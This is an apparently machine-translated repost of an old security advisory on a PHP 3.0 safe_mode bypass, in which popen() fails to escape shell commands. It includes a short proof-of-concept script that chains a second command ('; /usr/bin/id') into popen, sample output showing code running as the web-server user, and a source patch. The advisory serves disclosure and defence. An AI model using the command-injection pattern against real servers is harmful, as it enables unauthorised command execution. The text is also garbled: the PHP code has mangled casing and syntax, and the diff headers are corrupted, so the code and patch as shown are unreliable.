PHP3 safe_mode Failure Vulnerability _php Tutorial

Affected Systems: PHP 3.00
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Describe:

PHP Version 3.0 is an HTML embedded scripting language. Most of its syntax is ported to C, Java, and Perl and combines
PHP features. This language allows Web developers to quickly create dynamic Web pages.

Because it executes on the Web server and allows the user to execute code, PHP has built-in security features called ' Safe_mode '.
Used to control the execution of commands in a Webroot environment that allows PHP operations.

The implementation mechanism is to pass the shell command to Escapeshellcmd () by forcing a system call to execute the shell command
function, which is used to confirm that commands cannot be executed outside of the Webroot directory.

In some versions of PHP, the use of the Popen () command Escapeshellcmd () fails, causing a malicious user to
To use the ' Popen ' system call for illegal operation.

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Test procedure:

Warning: The following procedures (methods) may be offensive and only for security research and teaching purposes. Users are at their own risk!

<?php
$fp = Popen ("Ls-l/opt/bin; /usr/bin/id "," R ");
echo "$FP <br> N";
while ($line = fgets ($fp, 1024)):
printf ("%s <br> N", $line);
Endwhile;
Pclose ($FP);
Phpinfo ();
? >

The output results are as follows:

1
Total 53
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls
Uid=30 (Wwwrun) gid=65534 (nogroup) groups=65534 (Nogroup)
And from the configuration values of Phpinfo ():
Safe_mode 0 1

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Suggestions:
Index:functions/file.c
===================================================================
RCS File:/repository/php3/functions/file.c,v
Retrieving revision 1.229
Retrieving revision 1.230
Diff-u-r1.229-r1.230
---functions/file.c 2000/01/01 04:31:15 1.229
+ + + functions/file.c 2000/01/03 21:31:31 1.230
@@ -26,7 +26,7 @@
| Authors:rasmus Lerdorf <rasmus@lerdorf.on.ca> |
+----------------------------------------------------------------------+
*/
-/* $Id: file.c,v 1.229 2000/01/01 04:31:15 SAS EXP $ */
+/* $Id: file.c,v 1.230 2000/01/03 21:31:31 KK EXP $ */
#include "Php.h"
#include <stdio.h>
@@ -51,6 +51,7 @@
#include "safe_mode.h"
#include "Php3_list.h"
#include "Php3_string.h"
+ #include "exec.h"
#include "file.h"
#if Have_pwd_h
#if MSVC5

@@ -575,7 +576,7 @@
PVal *arg1, *arg2;
FILE *FP;
int id;
-Char *p;
+ Char *p, *tmp = NULL;
Char *b, buf[1024];
Tls_vars;

@@ -600,7 +601,11 @@
} else {
snprintf (Buf,sizeof (BUF), "%s/%s", php3_ini.safe_mode_exec_dir,arg1->value.str.val);
}

-fp = Popen (buf,p);

+
+ tmp = _php3_escapeshellcmd (BUF);
+ fp = popen (tmp,p);
+ Efree (TMP); /* Temporary copy, no longer necessary */
+
if (!FP) {
Php3_error (E_warning, "Popen ("%s ","%s ")-%s", Buf,p,strerror (errno));
Return_false;

http://www.bkjia.com/PHPjc/316607.html www.bkjia.com true http://www.bkjia.com/PHPjc/316607.html techarticle Affected Systems: PHP 3.00--------------------------------------------------------------------------------Description: PHP Version 3.0 is an HTML embedded scripting language. Most of its language ...

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